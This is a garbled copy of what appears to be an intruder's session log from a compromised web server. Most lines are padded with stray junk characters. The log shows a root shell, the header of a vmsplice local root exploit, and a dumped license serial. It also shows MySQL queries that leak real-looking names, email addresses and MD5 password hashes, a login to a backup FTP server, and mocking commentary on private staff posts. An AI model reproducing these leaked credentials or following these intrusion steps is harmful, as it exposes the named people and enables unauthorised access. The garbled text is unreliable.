drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
& O# |& R$ H( U/ Z' W3 [# qdrwx—— 2 com com 4096 Jun 4 04:04 backups0 e/ C' X+ R! d# Y; h5 ]+ ]
-rw-r–r– 1 root root 2419504 Sep 28 2007 backup.sql
0 E; V" W E' Q K4 Pdrwxr-xr-x 2 com com 4096 May 12 15:20 backup_system
+ I' W- b, V: R' _-rw——- 1 com com 21880 Jun 2 08:07 .bash_history
# d9 l6 v" R( X" U& o3 _* l-rw-r–r– 1 com com 24 Sep 24 2007 .bash_logout- E( T }/ i. \- p# C m8 z
-rw-r–r– 1 com com 176 Sep 24 2007 .bash_profile
$ d, K9 q- Y. F3 U. o0 h0 s-rw-r–r– 1 com com 124 Sep 24 2007 .bashrc4 c* ?& z$ g4 |) T( x" F" R
drwx–x–x 3 com com 4096 Jan 29 2008 domains
0 T0 P8 l+ B1 [+ f$ ]* w: k7 e-rw-r–r– 1 com com 16409 Jul 16 2008 FWUser.class.php.fixed" h$ O2 y6 _$ j5 a
drwxrwx— 3 com mail 4096 Jan 6 19:24 imap+ P- h" F6 |$ {: R) }" z: ~* g
-rw——- 1 com com 69 Nov 18 2008 .lesshst6 u; E8 W# i, F0 D; \
drwx—— 2 com com 4096 Sep 24 2007 mail! x; u( f& [) o; h4 V
-rw——- 1 com com 13970 Mar 28 21:42 .mysql_history: ~8 Z: H" e; v5 R
drwxr-xr-x 2 com com 4096 Aug 20 2008 .ncftp
" T# H* |- Z* @4 W1 olrwxrwxrwx 1 com com 37 Sep 24 2007 public_html -> ./domains/astalavista.com/public_html
) _* x) R8 h3 U J# H2 j3 X; ?-rw-r—– 1 com mail 34 Sep 24 2007 .shadow
! M% x. ^# w- w# f8 U3 fdrwx—— 2 com com 4096 Aug 26 2008 .ssh
% H6 { y1 l+ X. v* b-rwx—— 1 com com 8515 Feb 10 2008 t
# l% G% _% d2 j% q-rw-rw-r– 1 com com 6265 Feb 11 2008 t.c
' G3 P7 h! n" |( G, U4 U) {2 Adrwxrwxr-x 2 com com 4096 Jan 30 15:47 tmp/ M" y- G8 i0 Y
-rw-rw-r– 1 com com 617 May 20 2008 .toprc
: H/ ^0 n; N$ p-rw-rw-r– 1 com com 141851766 May 19 2008 version2-backup-20080519-0900.sql" V1 h0 Q) B1 ` s/ Y8 R4 L$ n
-rw——- 1 com com 16629 Mar 28 21:46 .viminfo" r0 W# g; X5 N# h7 }
-rw-rw-r– 1 com com 51 Aug 25 2008 .vimrc7 G5 ~! O; h! a5 Y
- [* M, R6 d" n+ C& |0 {
sh-3.2# head t.c J& i. B, v& G/ P9 |8 M' t+ i
/*+ M7 S. z. j% I- d7 V' w; y8 Y
* jessica_biel_naked_in_my_bed.c
9 M% C) [( ~4 k; M*
( N8 Y8 ^5 y$ A6 U* k$ j- T( S* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
9 L; F' j3 H( y) B: T: d' ]- b# \* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
/ z y" v& Y& Q( H* d, L& c3 g& h; a* Stejnak je to stare jak cyp a aj jakesyk rozbite.
5 q% @3 w, q( j! g* ? Q V*% F7 Z1 S Z8 g5 g- {7 X0 s: Z: t
* Linux vmsplice Local Root Exploit
6 j9 ~0 s5 G1 P9 a* By qaaz
2 l0 }6 c3 @/ V! v9 `7 _; S% r; M*- A3 H% K- P: f- {' I8 ~6 X
0 j* k" {4 d! U7 @. k# l" Q
sh-3.2# cd /% | F) z( |7 T* u, C n4 ~) |
sh-3.2# ls -la
4 @, A. m0 A/ `' f$ F2 B8 y' p7 ltotal 3603 f) o$ }; g; t; E0 K: _9 L
drwxr-xr-x 25 root root 4096 Jun 3 02:43 .# ?/ }/ s' k, H0 \0 B
drwxr-xr-x 25 root root 4096 Jun 3 02:43 .. X* l5 ]; X( P* v* _ r+ [0 L1 W
-rw——- 1 root root 10240 Jun 3 02:39 aquota.group
& X0 Z& i4 Y7 X% a$ |6 B K-rw——- 1 root root 10240 Jun 3 02:39 aquota.user' H! M9 F2 ]; q4 q/ l
-rw-r—– 1 root root 819 Jul 17 2008 astalavista.us.db
# w: _7 ~! \: U) n5 S( m-rw-r–r– 1 root root 0 Jun 3 02:43 .autofsck
! L5 ^; y) f9 w s4 M1 |5 ^-rw-r–r– 1 root root 0 Sep 16 2007 .autorelabel' T* J3 d9 _. V, T0 y0 i
drwxr-xr-x 3 root root 4096 Dec 29 2007 backup
/ C' t# n5 r5 V6 Pdrwxr-xr-x 2 root root 4096 Jun 4 04:03 bin9 H; V+ L5 h1 A x; g) i' G
drwxr-xr-x 5 root root 4096 Jun 2 14:06 boot9 e9 J* h u* C( h9 I7 {, v5 \7 T
drwxr-xr-x 11 root root 3620 Jun 3 02:43 dev# a" Z: r- W! W( s/ K/ b/ Q
drwxr-xr-x 84 root root 12288 Jun 4 03:16 etc% |5 D; b# n; x& b# ?2 d' g3 m) f
drwxr-xr-x 14 root root 4096 Mar 11 17:56 home3 l& g+ R9 X6 Y7 `; P3 w
-rw-r–r– 1 root root 13387 Mar 20 2008 httpd.conf0 \4 H+ e2 H. p5 M U/ E
drwxr-xr-x 11 root root 4096 Jun 4 04:02 lib! n7 T, K. I4 s) Q
drwxr-xr-x 7 root root 4096 Jun 4 04:03 lib64
- h# Q# J1 t5 [- n* Y3 ?, zdrwx—— 2 root root 16384 Sep 11 2007 lost+found- T4 t! ]4 S- H
drwxr-xr-x 2 root root 4096 Mar 11 17:56 media
( K. ^. c4 Z6 \& O0 o) n+ W2 o* Y" Qdrwxr-xr-x 2 root root 0 Jun 3 02:43 misc
1 _# l+ I4 Q5 q4 Z0 F3 O6 hdrwxr-xr-x 2 root root 4096 Mar 11 17:56 mnt# V% r4 y6 P4 V6 p) ~7 }! L
-rw-r–r– 1 root root 5859 Feb 3 2008 mrtg.cfg5 `% v+ M4 e( e/ C2 ^/ S3 |
drwxr-xr-x 2 root root 0 Jun 3 02:43 net
6 K5 u6 d+ u$ E* K/ Edrwxr-xr-x 3 root root 4096 Mar 11 17:56 opt
1 a3 P4 X* |" [& a& sdr-xr-xr-x 264 root root 0 Jun 3 02:42 proc
- c6 n: a* a8 C( g& u0 a! bdrwxr-x— 15 root root 4096 Jun 4 08:40 root
0 T1 U. w% \7 n# a! ]drwxr-xr-x 2 root root 12288 Jun 4 04:03 sbin
6 Z' R% @* u( f$ j l$ pdrwxr-xr-x 2 root root 4096 Mar 11 17:56 selinux
- H2 z3 n2 H8 A6 ~1 B7 B' d$ Rdrwxr-xr-x 2 root root 4096 Mar 11 17:56 srv& R) U( e2 r1 u8 D
drwxr-xr-x 11 root root 0 Jun 3 02:42 sys
5 Q. F0 U( k' Gdrwxrwxrwt 4 root root 122880 Jun 4 10:35 tmp
% Z8 ~8 h, Y7 m7 O6 L7 udrwxr-xr-x 16 root root 4096 Jun 2 13:56 usr. ?& p, h& S3 q+ M
drwxr-xr-x 26 root root 4096 Jun 4 03:16 var
) U$ ~+ O3 @# i. u- y
; N& ~& }* h: S0 Ash-3.2# cd opt
% F4 ]0 C& [7 j5 h+ ~8 Bsh-3.2# ls -la
, c Y: V' ]+ d$ J+ Xtotal 20
$ U3 T( ?/ _6 O* G% P( ldrwxr-xr-x 3 root root 4096 Mar 11 17:56 .
$ ^- q4 [) z9 l% T& Kdrwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
2 h* n' t4 _) P: t! {drwxr-xr-x 15 root root 4096 Mar 20 2008 lsws& i8 L+ Z9 f- ?8 G% b0 s
* V e3 A+ T4 z" {2 u8 L
sh-3.2# cd lsws/' u7 C/ S1 D: H8 q
sh-3.2# ls -la
: a' x8 Y2 j; {" o, D5 Q% P$ n' stotal 108! [) {( k) L# ?9 l" K5 p- a
drwxr-xr-x 15 root root 4096 Mar 20 2008 .) X. }- }5 [8 z4 G) U6 s
drwxr-xr-x 3 root root 4096 Mar 11 17:56 ..
6 I6 t C0 A" E: k7 R. Y, N1 q* adrwxr-xr-x 8 root root 4096 Mar 20 2008 add-ons% m9 N1 E( U! K% l1 h" u" g1 [$ J% q
drwxr-xr-x 13 root root 4096 May 29 15:10 admin
0 ^" M& y. a! [# H$ a' ]drwxr-xr-x 5 apache apache 4096 May 29 15:10 autoupdate) }8 S# L+ O; G
drwxr-xr-x 2 root root 4096 May 29 15:10 bin
2 V9 r; g# c, e1 b; g! Wdrwx—— 4 apache apache 4096 Jun 3 02:43 conf! \5 d# R* P7 r/ \0 S' K
drwxr-xr-x 7 apache apache 4096 Mar 20 2008 DEFAULT
`) C( _/ U" r3 H; o' Zdrwxr-xr-x 2 root root 4096 Sep 15 2008 docs
# P9 C, t1 d0 ]: H8 a: \' B4 bdrwxr-xr-x 2 root root 4096 May 29 15:10 fcgi-bin8 d& ^ _) m; j
drwxr-xr-x 2 root root 4096 Sep 15 2008 lib
9 ^/ X- t, s/ _9 h' `4 X- j& O-rw-r–r– 1 root root 6959 May 29 15:10 LICENSE
1 }0 p3 N( B* P7 K4 ?) {-rw-r–r– 1 root root 2214 May 29 15:10 LICENSE.OpenLDAP2 x* r- E+ D' s" b6 c; P, o
-rw-r–r– 1 root root 6279 May 29 15:10 LICENSE.OpenSSL- x1 v" P7 e, K
-rw-r–r– 1 root root 3208 May 29 15:10 LICENSE.PHP( K c2 h. {* v0 ~
drwxr-xr-x 2 root root 20480 Jun 4 09:55 logs" r, L5 O8 ?: d$ r. M
drwxr-xr-x 2 root root 4096 Mar 20 2008 php- k( ~" B# n8 H
drwx—— 2 apache apache 4096 Mar 20 2008 phpbuild9 y* V/ m3 x* {5 ^$ w4 r
drwxr-xr-x 3 root root 4096 Mar 20 2008 share- D' H: P* P% Q
-rw-r–r– 1 root root 6 May 29 15:10 VERSION# N: H7 h9 p! W: j. \& m1 t* ~
9 i r9 b" |# y K
sh-3.2# cd conf
2 R9 Q4 m4 t, K" ?. V+ Csh-3.2# ls -la
0 k" Z$ F7 {7 j$ \1 A& p" L$ [total 48
' o& V1 _9 N) O/ N" o7 @drwx—— 4 apache apache 4096 Jun 3 02:43 .
9 G% @9 Q( q6 y# D8 l Q$ wdrwxr-xr-x 15 root root 4096 Mar 20 2008 ..0 j& o% D3 A# W2 ?/ v% N
drwx—— 2 apache apache 4096 Mar 20 2008 cert
7 f0 B, H% ]/ t4 i* f9 L X4 N-rw-r–r– 1 apache apache 6668 May 29 15:13 httpd_config.xml4 {- _* `0 c0 k, s/ G% p4 D
-rw——- 1 apache apache 6613 May 27 18:33 httpd_config.xml.bak4 |, c: F5 i5 v# R, M m( k
-rw-r–r– 1 root apache 0 Jun 3 14:11 .last
# s. P' T0 O; w-rw——- 1 apache apache 256 May 29 15:10 license.key
1 Y- H9 k2 {1 `-rw——- 1 apache apache 256 Mar 21 2008 license.key.old
6 A) Y, R" k# T3 U-rw——- 1 apache apache 3320 Mar 20 2008 mime.properties8 A+ V/ S+ K+ k" I
-rw——- 1 apache apache 20 May 29 15:10 serial.no
2 M Z4 U2 }% \1 t. fdrwx—— 2 apache apache 4096 Mar 20 2008 templates& j( \, w/ t' S: L+ N5 W
4 I, T) M: t! {
sh-3.2# cat serial.no% K) X. ]% k1 `% n0 S
IbDl-oVsO-CKqL-wVRa
" A1 t7 [$ S4 h: m3 `% ~8 k3 W& t6 S, D" g8 K" k D+ ]6 C4 t' ]7 E
sh-3.2# mysql7 Q. g6 N- S. ]. L
Welcome to the MySQL monitor. Commands end with ; or \g.
1 H; Q) H0 G, N q0 v; CYour MySQL connection id is 286844& H1 e, ]0 f6 v: `! l
Server version: 5.0.45-community-log MySQL Community Edition (GPL)( S2 s- J3 x$ j, g, o
' z4 f a: E! \% e1 @5 z) E- AType ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.
" O- J8 H, e. F8 z; T
6 {! `' h3 [( g2 C% T* `% @mysql> show databases;
' v! ]* z( \/ f: X8 a, V, E' s+———————–+9 b/ ^! n" ^% q1 _( n. y2 D* T
| Database |0 u$ r3 r8 S; S/ I/ F$ V
+———————–+
) w# f. y) w* D8 U| information_schema |
. m5 c7 E7 _5 H1 P3 H7 ]% L| astanet_ads |* x+ R* L& x( t* V: n* ?
| astanet_mailing_lists |+ s) C+ `4 q- c4 K6 {
| astanet_mediawiki |$ B; j$ `( M/ {6 B" e: i3 F6 \* X, H
| astanet_membersystem | o/ |4 y w0 O/ L' ]% \, y
| com_contrexx |! ]7 ~( K' D1 R
| com_contrexx2 |
# k5 S, |0 \8 P9 r5 }$ y3 J& q| com_contrexx2_live |
8 W3 \6 _0 a/ Z0 g| da_roundcube |2 j0 W7 [! n e, y; C
| dolphin |8 h) B2 ~# I" _ B2 O: u
| ideapool |2 B7 y' C6 L% {/ v
| mysql |9 T4 ]( x% I# T2 Y) [6 {, P
| test |& |$ I% b- V0 U
| yourmaster |
1 W$ l' o' W# m6 }9 Z+———————–+* k$ _4 J( G4 g9 X1 `/ c0 a
14 rows in set (0.00 sec)
' ?! p) K G+ W# l5 S7 j
1 C. \. T3 u( ]. h/ v& [) Zmysql> use ideapool
' p% M i/ u, ^Database changed
4 x7 k5 K$ x) a, t) X# O; o& M' Pmysql> show tables;# P" _& a f1 W* g5 J9 m% o9 g6 F3 g
+———————————–+
Q& w: K- n& _$ H: N2 a| Tables_in_ideapool |
. p3 b- \! Q5 E* f7 _& l9 X+———————————–+
/ ~2 [4 {* I6 w1 F4 ~1 t| eventum_columns_to_display |% ?7 Q# t) z% a ~3 {: H
| eventum_custom_field |
% I ?+ g* N4 d) g& I, M/ _| eventum_custom_field_option |
3 h. q6 f( ^ Z n; l$ d. k. J' @| eventum_custom_filter |
2 G Y* r: C% Z0 c4 D/ j* ?| eventum_customer_account_manager |% r6 o8 b P1 C" }2 f
| eventum_customer_note |
3 }5 h" s8 W# }| eventum_email_account |
) _3 }) x9 F: L" U, R) e| eventum_email_draft |
/ j* c' y i' m' @| eventum_email_draft_recipient |
7 P6 @) M, m, ]+ y6 @* J| eventum_email_response |0 o$ U# J6 H" r! ]- b: E' F+ r
| eventum_faq |$ l, w4 b( |- g- t$ T7 ?, g$ i7 m
| eventum_faq_support_level |
$ Z& j3 L2 a" c# w| eventum_group |/ v9 [' u9 `) |7 C
| eventum_history_type |- u3 M' `' g0 A: J$ E2 o. l4 O
| eventum_irc_notice |
# f3 x3 S3 O# r" h| eventum_issue |
" G' Z5 j6 `' Z7 b% O! E" g| eventum_issue_association |" x+ b0 H9 }; Y6 m; O' [ q( L
| eventum_issue_attachment |
( Z/ I- N% H% Q7 |6 T% o! ?& {| eventum_issue_attachment_file |; h: \+ R* {2 K. y( T" @
| eventum_issue_checkin |) G; j D7 T( e. {
| eventum_issue_custom_field |
8 {3 W0 z- D$ Y5 U8 F, ~4 `| eventum_issue_history |
- d6 [/ ]8 B& \| eventum_issue_quarantine |
) }1 m! X7 h8 ^( \| eventum_issue_requirement |) m M% l C; m# O3 j" K; M
| eventum_issue_user |
3 z( ~- i3 }) Z( o| eventum_issue_user_replier |; d9 g, y1 y4 |2 o& \# S8 W, p
| eventum_link_filter |2 @7 U* Q0 @0 X& j( i* _
| eventum_mail_queue |
0 p2 T, k/ u D| eventum_mail_queue_log |2 p0 I8 z# \' D
| eventum_news |) d' Z7 ]0 |: V& p& I
| eventum_note |
9 w: |% {8 @2 y; q| eventum_phone_support |
6 P2 `# s+ r2 c| eventum_project |: Z. n, q, I) _
| eventum_project_category |4 N7 ~; @ F2 _7 I1 ^$ q0 L
| eventum_project_custom_field |1 Y- n9 K" y$ E1 c6 }% o, R
| eventum_project_email_response |
% C) M& o6 h; p9 c! I( c| eventum_project_field_display |
: v) Y |6 X. j2 V0 A2 H/ K| eventum_project_group |$ b6 t( K- c/ \9 y
| eventum_project_link_filter |
4 U+ @5 O0 G k8 w| eventum_project_news |
a8 D S5 ]) n) b| eventum_project_phone_category |$ j/ o9 x K e0 R
| eventum_project_priority |( m- ~9 t- I% Q( S# r5 |
| eventum_project_release |
% w1 a5 V- R+ g: V/ A| eventum_project_round_robin |
. v* Z* r! r5 k: C# j| eventum_project_status |
& s9 d9 F! i" Q" ~6 X( K+ e| eventum_project_status_date | [1 x4 b0 C e& M/ n# Q
| eventum_project_user |4 e) k+ }3 Z- _1 V: k+ W
| eventum_reminder_action |1 M- s/ K- w& z( {& U
| eventum_reminder_action_list |
7 k8 }* Y5 g. e9 F# y/ g| eventum_reminder_action_type |" q8 ?$ O% Q" C" G
| eventum_reminder_field |
1 I# x0 d: _7 H- C' E* l| eventum_reminder_history |; O/ T7 b8 W a; M2 n
| eventum_reminder_level |2 I- u. \! Q) u
| eventum_reminder_level_condition |' {) y- [; b3 B, B: f
| eventum_reminder_operator |
) I6 H X) k) E* T4 H2 T| eventum_reminder_priority |
- ?+ i, H9 c9 J0 k. {1 z) p5 U) Y| eventum_reminder_requirement |
. c7 ^: G+ D7 U5 `| eventum_reminder_triggered_action |
0 ~' u' ]+ i- X! Y7 l# @4 L' m0 z| eventum_resolution |
/ T- G" k8 `# V' P| eventum_round_robin_user |
' v* u) ~7 S0 c) W| eventum_search_profile |% U- V( G; p0 G# ?! P$ S
| eventum_status |
3 r' c, G6 ?+ o4 x| eventum_subscription |4 \5 ]- |1 b8 A# b% h `. q
| eventum_subscription_type |; p- p) m; w- w2 J
| eventum_support_email |, F1 D) r6 ~9 \3 u; I
| eventum_support_email_body |* Y8 i! y" d$ Z9 I9 y6 g
| eventum_time_tracking |
9 F! U* x+ s- a% s+ o# I" _/ q| eventum_time_tracking_category |: K. y, y6 e1 w2 ^* [5 p
| eventum_user |
j( w! @- | ~. q$ B3 L* x; O/ l: A, q+———————————–+
. B8 ?/ w5 ]7 N9 K69 rows in set (0.00 sec)# W% \6 m. t8 P' F4 H6 B' V3 ^
6 C4 U, Q% u1 K( E, r& s
mysql> describe eventum_user;
t; T1 G8 E6 y( H6 f# p |+————————-+——————+——+—–+———————+—————-+2 u0 ?+ Q% @* T, u3 q) ~. [
| Field | Type | Null | Key | Default | Extra |
! l6 i6 r# y/ i+ x9 l0 i$ F2 t+————————-+——————+——+—–+———————+—————-+9 \0 F. Z; ?; b8 a
| usr_id | int(11) unsigned | NO | PRI | NULL | auto_increment |- h6 I: A# [7 l: X" ?8 j# p
| usr_grp_id | int(11) unsigned | YES | MUL | NULL | |
5 k, G! S9 Y6 U9 k* E! M6 u| usr_customer_id | int(11) unsigned | YES | | NULL | |
- }. U# X, B" f4 H6 d, I8 n5 |4 ~| usr_customer_contact_id | int(11) unsigned | YES | | NULL | | r! u; @5 i: ^( L" p2 t7 x
| usr_created_date | datetime | NO | | 0000-00-00 00:00:00 | |3 C- _. S5 p5 A
| usr_status | varchar(8) | NO | | active | |8 }+ T& J8 o1 D$ ~& _: l
| usr_password | varchar(32) | NO | | | |
. C6 e. b. `/ N| usr_full_name | varchar(255) | NO | | | |1 l% ]" E1 W! c/ c' i0 O
| usr_email | varchar(255) | NO | UNI | | |8 u/ M, a' ]' A* c
| usr_preferences | longtext | YES | | NULL | |
% u$ O' J' l; | M( ~| usr_sms_email | varchar(255) | YES | | NULL | |
* N- m# v! |; i& E! U/ Z: [, n) y| usr_clocked_in | tinyint(1) | YES | | 0 | |" W; r9 d4 p5 r/ p) d( Z( u
| usr_lang | varchar(5) | YES | | NULL | |
7 m' } |2 _; G+————————-+——————+——+—–+———————+—————-+
5 C, j4 w5 H1 x; E13 rows in set (0.00 sec)7 d2 p+ t ~2 s+ j$ [& k' O
* ?; d Z' I- t! a5 \& S0 c+ Vmysql> select usr_full_name,usr_email,usr_password from eventum_user;# H' K0 O1 d* K8 x& z f
+———————-+——————————-+———————————-+0 c; J( m. X9 S# T2 g
| usr_full_name | usr_email | usr_password |
. {) m& D+ r: K9 c8 |& f2 U' t1 e+———————-+——————————-+———————————-+
! U; I3 `- G; L1 ^$ k; o| system | 链接标记system-account@example.com | 14589714398751513457adf349173434 |
. G ^+ Z L: [7 J! L( c| Developer (Paulo) | 链接标记paulo.santos@astalavista.ch | 26a35a1cf8895c27fb37ef4cf149f7bb |
7 ^- z3 K; A# C8 g4 ]+ l" i| Be1er0ph0r | 链接标记be1er0ph0r@gmx.de | 229766dc0ca1fb67160a8782321dfdce |
3 }0 k H# @4 V: l& C| Admin | 链接标记pascal.mittner@astalavista.ch | 57c2877c1d84c4b49f3289657deca65c |
% C9 h$ V E. N& M! w| ADMIN | 链接标记admin@astalavista.ch | f6fdffe48c908deb0f4c3bd36c032e72 |7 W' M1 x8 p7 F! F6 ?
| USER | 链接标记user@astalavista.ch | 5cc32e366c87c4cb49e4309b75f57d64 |$ c8 L) a, z* L2 C4 q
| Glafkos - (nowayout) | 链接标记glafkos@astalavista.com | f7735ab119023a8abb2301e67f81cd67 |5 U0 J2 D( j5 P+ m& F9 {
| Joao | 链接标记joao.pontes@astalavista.net | f805c071d7c823b937448c54c047b9fd |
0 O% X' Q5 w9 q1 A| Pascal | 链接标记pm@astalavista.ch | e10adc3949ba59abbe56e057f20f883e |
?# u: } N8 W0 ]* P) t1 c| commander | 链接标记commander@astalavista.com | 932cd250918f881d41feb0b93883a926 |
2 p7 `( o/ T% l% v| ishtus | 链接标记ishtus@astalavista.com | a587ffc88b3dbbba3fd2fe67af649ff0 |0 n: V) X2 Q2 J, [/ m# ~8 p
| sykadul | 链接标记sykadul@astalavista.com | 20224a2f3eeb57a13a10b4df543c128e |" N! B1 _7 J2 @7 `
| Zach McElroy | 链接标记admin@badfoo.net | 33c5d4954da881814420f3ba39772644 |
) O& O* i! g: A| usb | 链接标记usbenigma@hushmail.com | b513f22c3db6932855ad732f5f8a10a2 |" s# Z H3 U( g0 T
| cyph3r | 链接标记cyph3r@astalavista.com | 6e1e50017a945e874d52ec91f9ab2cee |9 f1 X# Q! Z: t, ]4 u0 i
+———————-+——————————-+———————————-+/ R: L- O. I, Q7 B, t
15 rows in set (0.00 sec)
, c/ e7 y: v$ Z* v1 j& [
( q- p$ P- B z- p; umysql> select iss_description from eventum_issue where iss_id = 43;
4 F) E' C8 X3 k+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+1 r( ]0 C0 m9 s( O
| iss_description ( E) l# V3 Z D1 h7 p2 M
|- x* W+ b' j* w% i% h. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+' _7 v$ o3 {2 N# y
| Ok guys, to boost our traffic and revenue what we have to do is keep users logged in… how to do that? well think about it… if a user is watching a movie… he’ll be
- M5 s- i& Y2 K: ~* i+ vconnected for 90 mins… 120mins… so what i propose is something like:* f1 c7 z/ U7 n* S
链接标记[url]http://www.surfthechannel.com/[/url]8 o9 P, Y/ O$ g: E. Z0 B7 @
since they only provide LINKS to the movies they are LEGAL and don’t break DMCA rules… so we could do the same… “iframe” the content on our website or use a system
- c3 i: @5 Z; w5 u! N& O u/ Olike podcast that uses our own flash player to stream content from other places, therefore the content NOT BEING HOSTED ON OUR SERVERS but only viewed… which doesn’t
* O9 I, e4 J, B5 e# Bbreak any laws as far as i am aware (we should research on that just to be sure though!) Of course we would have to provide users with the button to take the content off
" ]: _; `. u0 w# |$ ~/ R1 }6 N% Lif they think it breaks copyright laws and we will remove it… i think that makes it on the border of DMCA…
3 I$ E6 T1 s/ E A0 L, r8 R8 R" T5 R( s- b+ {
We could also put advertisement during play on the flash video player itself… extra $$…
1 W7 V6 r, \2 o: b7 l! ~$ |" z3 T: J9 t6 c
By sykadul |9 Q1 M* m) N x5 G' P
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+# p: u7 W3 H3 i
1 row in set (0.00 sec) @- A$ r) g: r0 I0 A
3 X0 {! n2 F3 E! R& d8 p7 C// Money and extra $$ is all they care about. remember that./ M9 J; g$ ?- r5 T( v
+ S) _3 T' X) I: b$ x
mysql> select iss_summary,iss_description from eventum_issue where iss_id =42;
+ T3 J4 S% H- ?/ [+————————+——————————————————————————————————————————————————————————————————————————————-+& e- t' [6 p% ]% L
| iss_summary | iss_description 6 ^! ?2 }( n* j- J) A# z( b
|
9 J# e2 M1 d- d6 [1 t! h+————————+——————————————————————————————————————————————————————————————————————————————-++ z1 W9 C/ A s7 o) i3 j& L# F5 c
| Forum for REAL EXPERTS | Hello,
I+ R" C4 a' h$ l! c6 s' ]$ u
% W3 S7 D+ [/ p+ O0 E- B# {- a7 U: G+ nIshtus and I,
0 i' P2 O5 f! m; d+ x6 K9 H8 }9 N8 \0 G( u; {/ s! N
Came up with a crazy and very workable and professional idea. We create an invitation only forum with the BEST security experts worldwide
8 w+ }) O. [) H" F- ZONLY. Security Experts from Bugtraq lists, exploit writters, reverse engineers etc..
: v! @, D+ o6 }) R X: p) c
- n: G( i# [8 X7 J: r6 a3 i# pOne example a friend of mine from coresecurity.com!
; T4 Y9 u* _7 h3 z
& g4 K$ }; [' C6 u3 e0 V) \4 vWe could have big projects etc.. and we can work all together to bring to the security community exploits, open source software etc..
$ c- I, P% a8 a0 }( l$ C1 Q8 [8 }! t
|' ^. y/ K- R0 Z7 H7 m x y+ h4 K' |
+————————+——————————————————————————————————————————————————————————————————————————————+
( k: V. o: z3 g: Y4 _6 @1 row in set (0.00 sec)4 ?( q- }8 j* _) M# \
; R1 b0 f; m I* N8 N1 I
// What an awesome yet original idea Ishtus and him… bring MORE security “experts”, thats exactly what the world needs…
' N, V6 z! L; Z
* I, c( |; N+ X5 C, Umysql> select iss_summary,iss_description from eventum_issue where iss_id = 16;
2 l3 ?5 Y* v* n7 L& {. W9 a& d+——————+———————————————————————————————+
6 E' b+ i$ Z% b U9 x| iss_summary | iss_description |9 k. P4 b$ t* e, K7 w# R: y
+——————+———————————————————————————————+: A" e2 y+ K+ W7 [! z) S
| Website guidance | Virtual Girl which guides you trought the website.
9 I/ j( X0 o; z+ Z% x( t
: c1 O5 ]0 K3 v1 G. r; ^+ I, X. S# |We need a girl with who you can ( talk )!!!
# m( i4 ?( N: VAlso for the News!5 {4 J: u! |" s3 O1 b# C
So my suggestion is a girl who read you the news loud if you like!" d4 z" }, h& _- m
you can choose between read yourselfe or she read it for you or both!1 `7 [- x7 C" O
/ Q P* |. @7 {, _8 P2 D3 f" v! u; }
Go to 链接标记[url]www.heise.de[/url]! There is an example for Voice News! It’s a good thing!!!: O8 Z& P4 x, e& O+ o0 J! y0 @- J
9 t; Y8 b: |/ R; F
Have a look on the example girls!!0 }2 m- u& {; s& r3 V! K
4 j/ d+ L- L- m/ i$ Z
链接标记[url]http://www.yaoti.com/de/free_yaoti.html[/url]
' a; j& y1 U! y9 i) l" }" j5 L) b* R# C; o& Q! @
or that+ _, P! M9 ^+ A& D, w% N$ a
$ [2 Q7 R! q4 c: I
链接标记[url]http://www.yellostrom.de/[/url]
! w- A* b7 x1 R8 s
6 \) V$ U* ~& o f7 t|
6 K% K7 I) e+ m: I3 c/ j+ a) c+——————+———————————————————————————————+
( D0 r" o! a2 P; q3 a7 s7 g, U4 H1 row in set (0.00 sec): _% o4 q' A$ f( L
, t O7 k! R6 L# T) g3 ~// ha ha.
/ u6 g& i; o7 K+ c" r$ e2 k1 F
, y' Z* A6 |, S1 p% r8 K* Zmysql> select iss_summary,iss_description from eventum_issue where iss_id = 7;+ f# K' f& V( u: `3 I( d
+————————–+———————————————————————————————————–+
5 H7 m8 N* |7 \+ X1 F| iss_summary | iss_description |/ ~. ~' n% O: [! Y* L2 u! h# d
+————————–+———————————————————————————————————–+& V# I. ]* Q9 {9 k7 V; e. m; N e
| Exploit Development Team | We need an exploit development team to focus on exploit research and publication under Astalavista name. |
& d* f& G- E. K+————————–+———————————————————————————————————–+0 R7 T! F( Y! C* I* I; e0 o
1 row in set (0.00 sec)
% X2 r+ P# o( C5 G/ ~7 C; _* l: m2 B" P* ]
// LOL.9 ~ P6 c5 E8 D0 @8 u
0 }9 a* A$ O* \8 l, Z8 Y# i0 ~mysql> exit; ~0 J A3 n$ Q0 W" [
Bye
' u! n- u. H: v4 d
3 ? G4 @- \# y/ l' E$ Q6 S% l2 osh-3.2# ftp 212.254.194.1633 ]/ B9 h- V' W0 p5 f9 Q$ r
Connected to 212.254.194.163.
( S9 r) |/ s) u$ X1 Z220 BackupCOM_VW FTP server ready.
0 X, @7 F8 \5 v504 AUTH: security mechanism ‘GSSAPI’ not supported., y8 y( q1 I% U1 Z2 Z0 k
504 AUTH: security mechanism ‘KERBEROS_V4′ not supported.5 m. p2 J" q& a7 J
KERBEROS_V4 rejected as an authentication type
; l& d1 e% k. ?* L4 ]Name (212.254.194.163:root): astalavista.com) S" E7 k% \) t. c1 I
331 Password required for astalavista.com.
) n: [" u4 @/ D5 O9 h8 d/ DPassword:* j, [! D6 O% X: w
230 User astalavista.com logged in.
" j/ {3 }9 {; D2 V" Q3 }. rRemote system type is UNIX.
- @1 R5 `" B+ e& k. Q5 s0 j+ \5 fUsing binary mode to transfer files.
9 O+ U0 S8 \- \ R) G: }' Fftp> ls -la8 c+ j3 t& L" @) C. A8 c5 `3 `& j
227 Entering Passive Mode (212,254,194,163,2,188)) p2 ~6 P3 a8 `/ }) w$ }9 y- V( m
150 Opening BINARY mode data connection for ‘file list’.0 ~) h2 A& u/ L0 Q+ O
dr-x—— 1 root users 4096 Jun 4 06:13 astalavista.com z k* L: U8 B* b" ^( C8 {
226 Transfer complete.4 _6 h& a( T. e5 T
ftp> cd astalavista.com% r6 O6 i5 {4 ^& k" a( [! j0 r
250 CWD command successful.1 z {+ \" N1 M p2 w
ftp> ls -la
2 n( `% K s( A- q! Y' u1 U227 Entering Passive Mode (212,254,194,163,2,189)
. l! ^, b+ `4 `) \: {) K150 Opening BINARY mode data connection for ‘file list’.
